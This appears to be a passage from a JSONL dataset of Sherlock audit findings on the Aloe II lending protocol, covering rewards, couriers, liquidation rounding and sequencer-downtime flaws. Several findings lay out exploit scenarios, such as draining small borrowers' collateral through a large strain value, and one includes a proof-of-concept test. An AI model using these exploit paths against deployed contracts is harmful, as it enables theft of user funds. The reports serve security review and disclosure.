asset_.balanceOf(address(this));\nif (!didPrepay) {\n asset_.safeTransferFrom(msg.sender, address(this), amount);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEither remove the possibility of not doing a full prepay and revert the\ntransaction, or perform the `transferFrom` for only\n`cache.lastBalance - asset_.balanceOf(address(this)) ` instead of the full\n`amount`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//035-M/074-best.md"}} +{"title":"Couriers may transfer lender tokens to another address and earn rewards","severity":"medium","body":"Refined Alabaster Owl\n\nmedium\n\n# Couriers may transfer lender tokens to another address and earn rewards\n## Summary\nBy design, couriers are not allowed to earn rewards because the accounting isn't quite correct for them. \n```solidity\n// NOTE: We skip rewards update on the courier. This means accounting isn't\n// accurate for them, so they *should not* be allowed to claim rewards. This\n// slightly reduces the effective overall rewards rate.\n```\nHowever, there is nothing restricting a courier from transferring their lender tokens to another address (that is not a courier) to continue earning rewards. \n\n## Vulnerability Detail\n`_transfer` prevents any transfer between lenders with a courier.\n```solidity\n/// Lender.sol\n/// @dev Transfers `shares` from `from` to `to`, iff neither of them have a courier\n function _transfer(address from, address to, uint256 shares) private {\n}\n```\nHowever, there are no measures to prevent the couriers from transferring out their lender tokens to another non-courier address. This non-courier address can then bypass the check for couriers in `claimRewards()` and receive rewards.\n\n```solidity\n/// Factory.sol\nfunction claimRewards() {\n require(!isCourier[msg.sender]);\n```\n## Impact\nThe allocated amount of reward tokens will be depleted faster as a result of couriers also claiming the reward, reducing the net received rewards for legitimate claimers.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L231\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L231\n\n## POC\nAdd this test to LenderReferrals.t.sol\nhttps://gist.github.com/chewonithard/3693ecad98ebed9d839e87c1744b64cc\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSimilar to how lenders with couriers are prevented from doing `_transfer`, also prevent couriers from doing `_transfer` by adding:\n`require(!isCourier[msg.sender]);`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//034-M/096-best.md"}} +{"title":"Courier can be cheated to avoid fees","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# Courier can be cheated to avoid fees\n## Summary\nUser can avoid paying fees to courier by providing his address.\n## Vulnerability Detail\nCourier is the entity that will get some percentage of user's profit, when user withdraws shares. Why someone will be providing fees to that courier? Because courier can provide very comfortable website for user, so he is pleased to pay for that service.\n\nIn case if any frontend will deposit on behalf of user, then they should have [at least 1 wei allowance from user](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L121). In this case they have ability [to set themselves as courier for user](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L140C83-L140C92).\n\nCourier is set inside `_mint` function. There is one important thing: in case if user already has shares, [then courier will not be set](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L453-L456), which means that whoever did that deposit, he will not receive any fees in the end.\n\nSo how user can use this? The most simple way is to frontrun deposit call and transfer some amount of shares to his account from another account. As result, his shares amount will not be 0 anymore and fees will be avoid.\n\nAnother problem is that when user has used one website and then switched to another one, then new service expects that user will pay fees for using it, but in reality after new deposit, only old frontend will receive all fees.\n## Impact\nUser can cheat couriers.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI guess that deposit function should check if provided courier will be set or not and early revert if not.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//033-M/061-best.md"}} +{"title":"Lender.sol: Incorrect rewards accounting for RESERVE address in _transfer function","severity":"medium","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Lender.sol: Incorrect rewards accounting for RESERVE address in _transfer function\n## Summary\nThe `RESERVE` address is a special address in the `Lender` since it earns some of the interest that the `Lender` accrues. \n\nAccording to the contest README, which links to the [auditor quick start guide](https://docs.aloe.capital/aloe-ii/auditor-quick-start), the `RESERVE` address should behave normally, i.e. all accounting should be done correctly for it: \n\n```text\nSpecial-cases related to the RESERVE address and couriers\n\nWe believe the RESERVE address can operate without restriction, i.e. it can call any function in the protocol without causing accounting errors. Where it needs to be limited, we believe it is. For example, Lender.deposit prevents it from having a courier. But are we missing anything? Many of our invariants in LenderHarness have special logic to account for the RESERVE address, and while we think everything is correct, we'd like to have more eyes on it.\n```\n\nThe issue is that the [`Lender._transfer`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L399-L425) function, which contains the logic for share transfers, does not accrue interest. \n\nThereby the `RESERVE`'s share balance is not up-to-date and it loses out on any rewards that should be earned for the accrued balance. \n\nFor all other addresses the reward accounting is performed correctly in the `Lender._transfer` function and according to the auditor quick start guide it is required that the same is true for the `RESERVE` address. \n\n\n## Vulnerability Detail\nWhen interest is accrued, the `RESERVE` address [gets minted shares](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L536-L547). \n\nHowever the `Lender._transfer` function does not accrue interest and so `RESERVE`'s balance is not up to date which means the `Rewards.updateUserState` call operates on an [incorrect balance](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L411-L421). \n\nThe balance of `RESERVE` is too low which results in a loss of rewards. \n\n## Impact\nAs described above, the `RESERVE` address should have its reward accounting done correctly just like all other addresses. \n\nFailing to do so means that the `RESERVE` misses out on some rewards because `Lender._transfer` does not update the share balance correctly and so the rewards will be accrued on a balance that is too low.\n\n## Code Snippet\nhttps://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Lender.sol#L399-L425\n\n## Tool used\nManual Review\n\n## Recommendation\nThe `RESERVE` address should be special-cased in the `Lender._transfer` function. Thereby gas is saved when transfers are executed that do not involve the `RESERVE` address and the reward accounting is done correctly for when the `RESERVE` address is involved. \n\nWhen the `RESERVE` address is involved, `(Cache memory cache, ) = _load();` and `_save(cache, /* didChangeBorrowBase: */ false);` must be called. Also the Rewards state must be updated with this call: `Rewards.updatePoolState(s, a, newTotalSupply);`.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//032-M/049-best.md"}} +{"title":"Position Can be Opened Which Are Immediately Liquidatable","severity":"medium","body":"Warm Orange Dragon\n\nmedium\n\n# Position Can be Opened Which Are Immediately Liquidatable\n## Summary\n\nThe same check - `isHealthy` - is used both opening positions and liquidating positions, which allows users to open positions which are almost immediately liquidatable.\n\n## Vulnerability Detail\n\nBorrow and Lending platforms usually have a seperate `initial margin`, which is a maximum amount of leverage when opening a position, and `maintenance margin`, which is the threshold after which a position gets liquidated. The two margins are different, with the maintenance margin being higher leverage, to prevent users from getting liquidated almost immediately after opening their position.\n\nAloe only has a single check - the `isHealthy` check which only ensures that a position cannot be immediately liquidated at the TWAP price during the function call. However, the smallest shift in price will immediately make that position unhealthy and push it into liquidation range.\n\nThis applies not only to opening fresh positions, but also to adjusting positions such as increasing liquidity, or decreasing collateral. \n\n## Impact\n\nUsers can be warned and then liquidated almost immediately after opening a position.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L299-L327\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement a seperate initial margin which is seperate and safer than then `isHealthy` check for liquidations","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//031-M/065-best.md"}} +{"title":"The whole ante balance of a user with a very small loan, who is up for liquidation can be stolen without repaying the debt","severity":"medium","body":"Dapper Concrete Porcupine\n\nhigh\n\n# The whole ante balance of a user with a very small loan, who is up for liquidation can be stolen without repaying the debt\n## Summary\n\nUsers with very small loans on markets with tokens having very low decimals are vulnerable to having their collateral stolen during liquidation due to precision loss.\n\n## Vulnerability Detail\n\nUsers face liquidation risk when their Borrower contract's collateral falls short of covering their loan. The `strain` parameter in the liquidation process enables liquidators to partially repay an unhealthy loan. Using a `strain` smaller than 1 results in the liquidator receiving a fraction of the user's collateral based on `collateral / strain`.\n\nThe problem arises from the fact that the `strain` value is not capped, allowing for a potentially harmful scenario. For instance, a user with an unhealthy loan worth $0.30 in a WBTC (8-decimal token) vault on Arbitrum (with very low gas costs) has $50 worth of ETH (with a price of $1500) as collateral in their Borrower contract. A malicious liquidator spots the unhealthy loan and submits a liquidation transaction with a `strain` value of 1e3 + 1. Since the strain exceeds the loan value, the liquidator's repayment amount gets rounded down to 0, effectively allowing them to claim the collateral with only the cost of gas.\n\n```solidity\nassembly (\"memory-safe\") {\n\t// ...\n\tliabilities0 := div(liabilities0, strain) // @audit rounds down to 0 <-\n\tliabilities1 := div(liabilities1, strain) // @audit rounds down to 0 <-\n\t// ...\n}\n```\n\nFollowing this, the execution bypasses the `shouldSwap` if-case and proceeds directly to the following lines:\n\n```solidity\n// @audit Won't be repaid in full since the loan is insolvent\n_repay(repayable0, repayable1);\nslot0 = (slot0_ & SLOT0_MASK_POSITIONS) | SLOT0_DIRT;\n\n// @audit will transfer the user 2e14 (0.5$)\npayable(callee).transfer(address(this).balance / strain);\nemit Liquidate(repayable0, repayable1, incentive1, priceX128);\n\n```\n\nGiven the low gas price on Arbitrum, this transaction becomes profitable for the malicious liquidator, who can repeat it to drain the user's collateral without repaying the loan. This not only depletes the user's collateral but also leaves a small amount of bad debt on the market, potentially causing accounting issues for the vaults.\n\n## Impact\n\nUsers with small loans face the theft of their collateral without the bad debt being covered, leading to financial losses for the user. Additionally, this results in a potential amount of bad debt that can disrupt the vault's accounting.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider implementing a check to determine whether the repayment impact is zero or not before transferring ETH to such liquidators.\n\n```solidity\nrequire(repayable0 != 0 || repayable1 != 0, \"Zero repayment impact.\") // @audit <-\n_repay(repayable0, repayable1);\n\nslot0 = (slot0_ & SLOT0_MASK_POSITIONS) | SLOT0_DIRT;\n\npayable(callee).transfer(address(this).balance / strain);\nemit Liquidate(repayable0, repayable1, incentive1, priceX128);\n\n```\n\nAdditionally, contemplate setting a cap for the `strain` and potentially denoting it in basis points (BPS) instead of a fraction. This allows for more flexibility when users intend to repay a percentage lower than 100% but higher than 50% (e.g., 60%, 75%, etc.).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//030-M/146-best.md"}} +{"title":"Bad debt liquidation doesn't allow liquidator to receive its ETH bonus (ante)","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# Bad debt liquidation doesn't allow liquidator to receive its ETH bonus (ante)\n## Summary\n\nWhen bad debt liquidation happens, user account will still have borrows, but no assets to repay them. In such case, and when borrow is only in 1 token, `Borrower.liquidate` code will still try to swap the other asset (which account doesn't have) and will revert trying to transfer that asset to callee.\n\nThe following code will repay all assets, but since it's bad debt, one of the liabilities will remain non-0:\n```solidity\nuint256 repayable0 = Math.min(liabilities0, TOKEN0.balanceOf(address(this)));\nuint256 repayable1 = Math.min(liabilities1, TOKEN1.balanceOf(address(this)));\n\n// See what remains (similar to \"shortfall\" in BalanceSheet)\nliabilities0 -= repayable0;\nliabilities1 -= repayable1;\n```\n\n`shouldSwap` will then be set to `true`, because exactly one of liabilities is non-0:\n```solidity\nbool shouldSwap;\nassembly (\"memory-safe\") {\n // If both are zero or neither is zero, there's nothing more to do\n shouldSwap := xor(gt(liabilities0, 0), gt(liabilities1, 0))\n // Divide by `strain` and check again. This second check can generate false positives in cases\n // where one division (not both) floors to 0, which is why we `and()` with the check above.\n liabilities0 := div(liabilities0, strain)\n liabilities1 := div(liabilities1, strain)\n shouldSwap := and(shouldSwap, xor(gt(liabilities0, 0), gt(liabilities1, 0)))\n // If not swapping, set `incentive1 = 0`\n incentive1 := mul(shouldSwap, incentive1)\n}\n```\n`incentive1` will also have some value (5% from the bad debt amount)\n\nWhen trying to swap, the execution will revert in TOKEN0 or TOKEN1 `safeTransfer`, because account has 0 of this token:\n```solidity\nif (liabilities0 > 0) {\n // NOTE: This value is not constrained to `TOKEN1.balanceOf(address(this))`, so liquidators\n // are responsible for setting `strain` such that the transfer doesn't revert. This shouldn't\n // be an issue unless the borrower has already started accruing bad debt.\n uint256 available1 = mulDiv128(liabilities0, priceX128) + incentive1;\n\n TOKEN1.safeTransfer(address(callee), available1);\n callee.swap1For0(data, available1, liabilities0);\n\n repayable0 += liabilities0;\n} else {\n // NOTE: This value is not constrained to `TOKEN0.balanceOf(address(this))`, so liquidators\n // are responsible for setting `strain` such that the transfer doesn't revert. This shouldn't\n // be an issue unless the borrower has already started accruing bad debt.\n uint256 available0 = Math.mulDiv(liabilities1 + incentive1, Q128, priceX128);\n\n TOKEN0.safeTransfer(address(callee), available0);\n callee.swap0For1(data, available0, liabilities1);\n\n repayable1 += liabilities1;\n}\n```\n\nThere are only 2 possible ways to work around this problem:\n1. Use very high value of `strain`. This will divide remaining liabilities by large value, making them 0 and will at least repay the remaining assets account has. However, in such case liquidator will get almost no bonus ETH (ante), because it will be divided by `strain`:\n```solidity\npayable(callee).transfer(address(this).balance / strain);\n```\n\n2. Transfer enough assets to bad debt account to cover its bad debt and finish the liquidation successfully, getting the bonus ETH. However, this will still be a loss of funds for the liquidator, because it will have to cover bad debt from its own assets, which is a loss for liquidator.\n\nSo the issue described here leads to liquidator not receiving compensation from bad debt liquidations of accounts which have remaining bad debt in only 1 asset. Ante (bonus ETH for liquidator) will be stuck in the liquidated account and nobody will be able to retrieve it without repaying bad debt for the account.\n\n## Vulnerability Detail\n\nMore detailed scenario\n1. Alice account goes into bad debt for whatever reason. For example, the account has 150 DAI borrowed, but only 100 DAI assets.\n2. Bob tries to liquidate Alice account, but his transaction reverts, because remaining DAI liability after repaying 100 DAI assets Alice has, will be 50 DAI bad debt. `liquidate` code will try to call Bob's callee contract to swap 0.03 WETH to 50 DAI sending it 0.03 WETH. However, since Alice account has 0 WETH, the transfer will revert.\n3. Bob tries to work around the liquidation problem:\n3.1. Bob calls `liquidate` with `strain` set to `type(uint256).max`. Liquidation succeeds, but Bob doesn't receive anything for his liquidation (he receives 0 ETH bonus). Alice's ante is stuck in the contract until Alice bad debt is fully repaid.\n3.2. Bob sends 0.03 WETH directly to Alice account and calls `liquidate` normally. It succeeds and Bob gets his bonus for liquidation (0.01 ETH). He has 0.02 ETH net loss from liquidaiton (in addition to gas fees).\n\nIn both cases there is no incentive for Bob to liquidate Alice. So it's likely Alice account won't be liquidated and a borrow of 150 will be stuck in Alice account for a long time. Some lender depositors who can't withdraw might still have incentive to liquidate Alice to be able to withdraw from lender, but Alice's ante will still be stuck in the contract.\n\n## Impact\n\nLiquidators are not compensated for bad debt liquidations in some cases. Ante (liquidator bonus) is stuck in the borrower smart contract until bad debt is repaid. There is not enough incentive to liquidate such bad debt accounts, which can lead for these accounts to accumulate even bigger bad debt and lender depositors being unable to withdraw their funds from lender.\n\n## Proof of concept\n\nThe scenario above is demonstrated in the test, add it to test/Liquidator.t.sol:\n```ts\n function test_badDebtLiquidationAnte() public {\n\n // malicious user borrows at max leverage + some safety margin\n uint256 margin0 = 1e18;\n uint256 borrows0 = 100e18;\n\n deal(address(asset0), address(account), margin0);\n\n bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\n account.modify(this, data, (1 << 32));\n\n // borrow increased by 50%\n _setInterest(lender0, 15000);\n\n emit log_named_uint(\"User borrow:\", lender0.borrowBalance(address(account)));\n emit log_named_uint(\"User assets:\", asset0.balanceOf(address(account)));\n\n // warn account\n account.warn((1 << 32));\n\n // skip warning time\n skip(LIQUIDATION_GRACE_PERIOD);\n lender0.accrueInterest();\n\n // liquidation reverts because it requires asset the account doesn't have to swap\n vm.expectRevert();\n account.liquidate(this, bytes(\"\"), 1, (1 << 32));\n\n // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\n account.liquidate(this, bytes(\"\"), type(uint256).max, (1 << 32));\n\n emit log_named_uint(\"Liquidated User borrow:\", lender0.borrowBalance(address(account)));\n emit log_named_uint(\"Liquidated User assets:\", asset0.balanceOf(address(account)));\n emit log_named_uint(\"Liquidated User ante:\", address(account).balance);\n }\n```\n\nExecution console log:\n```solidity\n User borrow:: 150000000000000000000\n User assets:: 101000000000000000000\n Liquidated User borrow:: 49000000162000000001\n Liquidated User assets:: 0\n Liquidated User ante:: 10000000000000001\n```\n\n## Code Snippet\n\n`Borrower.liquidate` calculates remaining liabilities after assets are used to repay borrows:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L231-L236\n\nNotice, that if both assets are 0, `liabilities0` or `liabilities1` will still be non-0 if bad debt has happened.\n\nSince either `liabilities0` or `liabilities` are non-0, `shouldSwap` is set to true:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L239-L250\n\nWhen trying to swap, revert will happen either here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L263\n\nor here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L273\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider verifying the bad debt situation and not forcing swap which will fail, so that liquidation can repay whatever assets account still has and give liquidator its full bonus.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//029-M/042-best.md"}} +{"title":"The protocol doesn't maximise it's pool balances when executing operations, leading to them favouring the user","severity":"medium","body":"Dapper Concrete Porcupine\n\nmedium\n\n# The protocol doesn't maximise it's pool balances when executing operations, leading to them favouring the user\n## Summary\n\nCertain balances need to be rounded differently to prevent users from benefiting at the expense of the protocol.\n\n## Vulnerability Detail\n\nThe protocol contains several instances where balance calculations have a direct impact on users. The problem lies in the rounding methodology, which should favour the protocol rather than the user.\n\nFor instance, consider the `_previewInterest()` function, which does not maximise the values of `newInventory` and `newTotalSupply`.\n\n```solidity\nuint256 newInventory = cache.lastBalance + (cache.borrowBase * cache.borrowIndex) / BORROWS_SCALER;\nuint256 newTotalSupply = Math.mulDiv(\n cache.totalSupply,\n newInventory,\n newInventory - (newInventory - oldInventory) / rf\n);\n\n```\n\nIn the `borrow()` function, it's essential to round up the `units` added to a user's balance to prevent precision loss that favours the protocol over users.\n\n```solidity\nunits = (amount * BORROWS_SCALER) / cache.borrowIndex;\n\n```\n\n## Impact\n\nThese discrepancies in the protocol lead to users receiving slightly more value than intended, which can accumulate over time as they will happen on almost every type of interaction.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L359-L364\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L225\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L526\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider introducing a round-up mechanism in the `_previewInterest()` function, similar to the approaches in `_convertToShares` and `_convertToAssets`. This will ensure that the appropriate rounding method is applied in various cases, aligning with the user's interests.\n\nAdditionally, consider modifying the `units` calculations in the `borrow()` function as follows:\n\n```solidity\n// @audit Proper rounding for the use case:\nunits = amount.mulDivUp(BORROWS_SCALER, cache.borrowIndex);\n\n```\n\nThese adjustments will address the balance rounding issue and uphold the user's intended interests.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//028-M/132-best.md"}} +{"title":"`Borrower.modify` callee callback returned positions value of 0 is treated as \"no change\", making it impossible to return \"no positions\" value","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# `Borrower.modify` callee callback returned positions value of 0 is treated as \"no change\", making it impossible to return \"no positions\" value\n## Summary\n\n`Borrower.modify` callee callback returns the zipped positions value, which holds an array of 3 uniswap positions. The return value of \"0\" is special and treated as \"no change\". However, this special value makes it impossible to indicate all positions are withdrawn, because the zipped value of \"no positions\" (positions array of [0,0,0,0,0,0]) will return 0, which will be treated as \"no change\" instead of \"no positions\".\n\n## Vulnerability Detail\n\nWhen `modify` calls callee, slot0 positions value doesn't change if returned value = 0:\n```solidity\nuint208 positions = callee.callback(data, msg.sender, uint208(slot0_));\nassembly (\"memory-safe\") {\n // Equivalent to `if (positions > 0) slot0_ = positions`\n slot0_ := or(positions, mul(slot0_, iszero(positions)))\n}\n```\n\nHowever, if user had some positions before `modify`, but decided to withdraw them and return 0 (meaning there are no uniswap positions by the user), this will be treated as \"no change\" instead of \"no positions\", thus slot0 will keep previous positions value.\n\nWhile this doesn't affect anything if the user has actually withdrawn uniswap position (all calculations with these unexisting positions will simply return 0 liquidity and be ignored), however the positions value stored in slot0 doesn't mean these are all user positions - it simply means these are positions user wants to be considered as collateral (and which can be seized during liquidation). If user wants to remove all uniswap positions from collateral while still keeping all of them, there is a valid case possible which will cause loss of funds for the user:\n\n1. User deposits uniswap position (`modify` returns [100, 200, 0, 0, 0, 0] zipped uniswap positions array)\n2. User decides to \"withdraw\" this position from collateral while still keeping the uniswap position itself. So a new `modify` doesn't do anything, but returns now empty positions array ([0,0,0,0,0,0]). User expects that his positions are now not part of the collateral and will not be seized during liquidation.\n3. Later the user is liquidated and his [100,200] positions is seized, because in step 2 the `callee.callback` returned 0, which means that user positions array didn't change and remained at [100,200,0,0,0,0].\n4. As a result, user has unexpectedly lost his uniswap position which should not be part of the collateral.\n\n## Impact\n\nIn an edge case, when user wants to remove all uniswap positions from collateral without actually removing them from uniswap itself, this operation will be ignored and user will unexpectedly lose all these uniswap positions he didn't think were part of the collateral.\n\n## Code Snippet\n\n`Borrower.modify` doesn't change slot0 if returned positions value is 0 (but \"no positions\" array of [0,0,0,0,0,0] also returns 0 value and is ignored instead of changing slot0 to empty positions array)\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L306-L310\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider using a different magic number for \"no change\", or maybe introduce some other variable (like \"no change\" bit) as part of the unused positions bits.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//027-M/031-best.md"}} +{"title":"Principle accounting is skipped for couriers. This means couriers could manipulate their principle to reduce fees paid to the next courier.","severity":"major","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# Principle accounting is skipped for couriers. This means couriers could manipulate their principle to reduce fees paid to the next courier.\n## Summary\nPrinciple accounting is skipped for couriers. This means couriers could manipulate their principle to reduce fees paid to the next courier. \n## Vulnerability Detail\nThe code does have a vulnerability where couriers can manipulate their principle to reduce fees paid to the next courier.\nThe relevant code section is in the _burn() function:\n\n // NOTE: We skip principle update on courier, so if couriers credit \n // each other, 100% of `fee` is treated as profit and will pass through\n // to the next courier.\n\nThis means that when a courier receives a fee, their principle is not updated. So the full amount of the fee is considered \"profit\" that is subject to the next courier's fee.\nNormally, the principle tracks the total assets deposited by a user. This allows calculating the fees correctly - only profit above the principle should be charged.\nBut by skipping the principle update for couriers, a courier can artificially increase their \"profit\" and reduce fees paid to the next courier.\nFor example:\n1. Alice deposits 10 tokens. Bob is her courier and takes a 10% fee, so he earns 1 token.\n2. Bob's principle should be 1 token, but it is skipped.\n3. Bob credits Charlie, who takes a 20% fee.\n4. Charlie should earn 0.2 tokens (20% of Bob's profit above principle of 1 token).\n5. But since Bob's principle is skipped, Charlie earns 0.2 tokens of the full 1 token (20% of 1 token).\n\n## Impact\nThe major impact of not tracking principle properly for couriers is that it enables fee manipulation between couriers. Specifically:\n\nCouriers can artificially inflate their principle to reduce fees paid to the next courier in the referral chain. This allows them to unfairly benefit at the expense of other couriers.\nOver time, this could significantly reduce the fees collected by downstream couriers. It incentives gaming the system rather than bringing in new business.\nIf left unchecked, it could undermine the entire courier referral mechanism.\nOverall, I would categorize this as a high severity issue. It enables unfair manipulation between couriers and undermines a core mechanism of the protocol. It should be addressed to maintain fairness and incentive alignment.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L514-L516\n## Tool used\n\nManual Review\n\n## Recommendation\nPrinciples need to be tracked properly for couriers. I suggest this example:\n\n // Update courier's principle \n data += fee << 112;\n\n // Fee calculation uses updated principle\n uint256 profit = balance - (data >> 112) % Q112; \n uint256 fee = (profit * cut) / 10_000;\n\nThis ensures each courier's fees are calculated correctly based on the profit above their principle.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//026-H/142-best.md"}} +{"title":"No handling of L2 sequencer down situation, which can lead to intentional bad debt creation and other malicious actions while sequencer is down or just after it becomes active again","severity":"medium","body":"Loud Cloud Salamander\n\nmedium\n\n# No handling of L2 sequencer down situation, which can lead to intentional bad debt creation and other malicious actions while sequencer is down or just after it becomes active again\n## Summary\n\nThe protocol lists L2 networks (Arbitrum, Optimism and Base) as deployment chains. These L2 chains depend on sequencer for most of its functionality. When the sequencer is down for whatever reason, it's still possible to communicate with L2 networks via L1 contracts, but it's very inconvenient and only a few users really use it, meaning that it's unfair to let the protocol keep working as usual when sequencer is down as few users can cause damage to many users during this time (liquidators won't be active etc.). The protocol behavior upon sequencer going back online after a long downtime can also cause all kinds of problems, so it's advised to add grace period when L2 sequencer goes back online\n\nThere is functionality to pause some actions if pool manipulation is detected. But there is no functionality to also pause some actions if L2 sequencer is down or when it just came back online.\n\n## Vulnerability Detail\n\nMore detailed explanation about the details of L2 networks downtime and how to handle it can be read here:\nhttps://docs.chain.link/data-feeds/l2-sequencer-feeds\n\nThe following scenario can happen when L2 sequencer goes down:\n1. ETH price = 1000 USDT\n2. L2 sequencer goes down for several hours\n3. At the time L2 sequencer goes online again, ETH price = 900 USDT\n4. Once it comes back up online, uniswap pair average price is still 1000 USDT (and the last uniswap pair price is 1000 USDT a few hours ago, meaning volatility is 0 and average price will slowly go down from 1000 to 900 over 30 minutes)\n5. Malicious user can then borrow 1000 USDT and put 1.005 ETH as collateral, effectively selling ETH for 995 USDT, which is way above the current ETH price. Position will be healthy if 1.005 ETH is added to this account as uniswap position with the range [994..1000], it will then be treated as 1005 USDT for health check (since uniswap position will be taken at average price of 1000 instead of current 900).\n6. Later, when the average price goes down to 900 USDT, user's account will be liquidated for a bad debt of 100 USDT, causing loss of funds for the other protocol users.\n\nThere are also a lot of the other issues possible right after sequencer goes online. For example, it will be unprofitable for liquidators to liquidate accounts if they involve assets swap - liquidator will be forced to buy ETH for 1000 USDT instead of current price of 900 USDT, so liquidations mostly won't work during that time, leaving many unhealthy positions unliquidated.\n\nThe same scenario can also be slightly modified to borrow before the sequencer goes offline via direct L1 contract communication. Such user's transaction will be added to queue and will be added to L2 blockchain while sequencer is still offline. There might be even more severe scenarios when user acts via L1 while the sequencer is down.\n\n## Impact\n\nIf L2 sequencer goes offline for some time, malicious users can cause all kinds of problems during offline time and in the first minutes after sequencer goes back online (since the price will jump from the last time it is online, but the average price will not catch up until `AVG_WINDOW` time passes). These malicious actions will usually lead to creation of bad debt via different means.\n\nThere will also be non-malicious user problems, such as liquidators refusing to liquidate due to unprofitable asset swaps required for liquidaiton.\n\n## Code Snippet\n\nThere is a `pause` functionality, but it only allows to pause if pool manipulation is detected:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L157-L164\n\nBut there is no protection of the protocol while L2 sequencer is down or just came back online.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider disabling all borrower actions (liquidate, warn, modify) while sequencer is down. Additionally, disable liquidations and withdrawals in the first AVG_WINDOW seconds after sequencer came back online. Sequencer status and time since last status change can be checked in chainlink examples:\nhttps://docs.chain.link/data-feeds/l2-sequencer-feeds","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//025-M/055-best.md"}} +{"title":"Borrows are not properly handled in the case of both liabilities0 and liabilities1 unable to be repaid from available assets","severity":"major","body":"Striped Obsidian Spider\n\nhigh\n\n# Borrows are not properly handled in the case of both liabilities0 and liabilities1 unable to be repaid from available assets\n## Summary\nAfter withdrawing the uniswap positions, the aggregate amount of assets( fixed assets + withdrawn uni positions + fees) is used to pay back the borrowed assets and if any one of assets has a shortfall, then the other asset is swapped into it 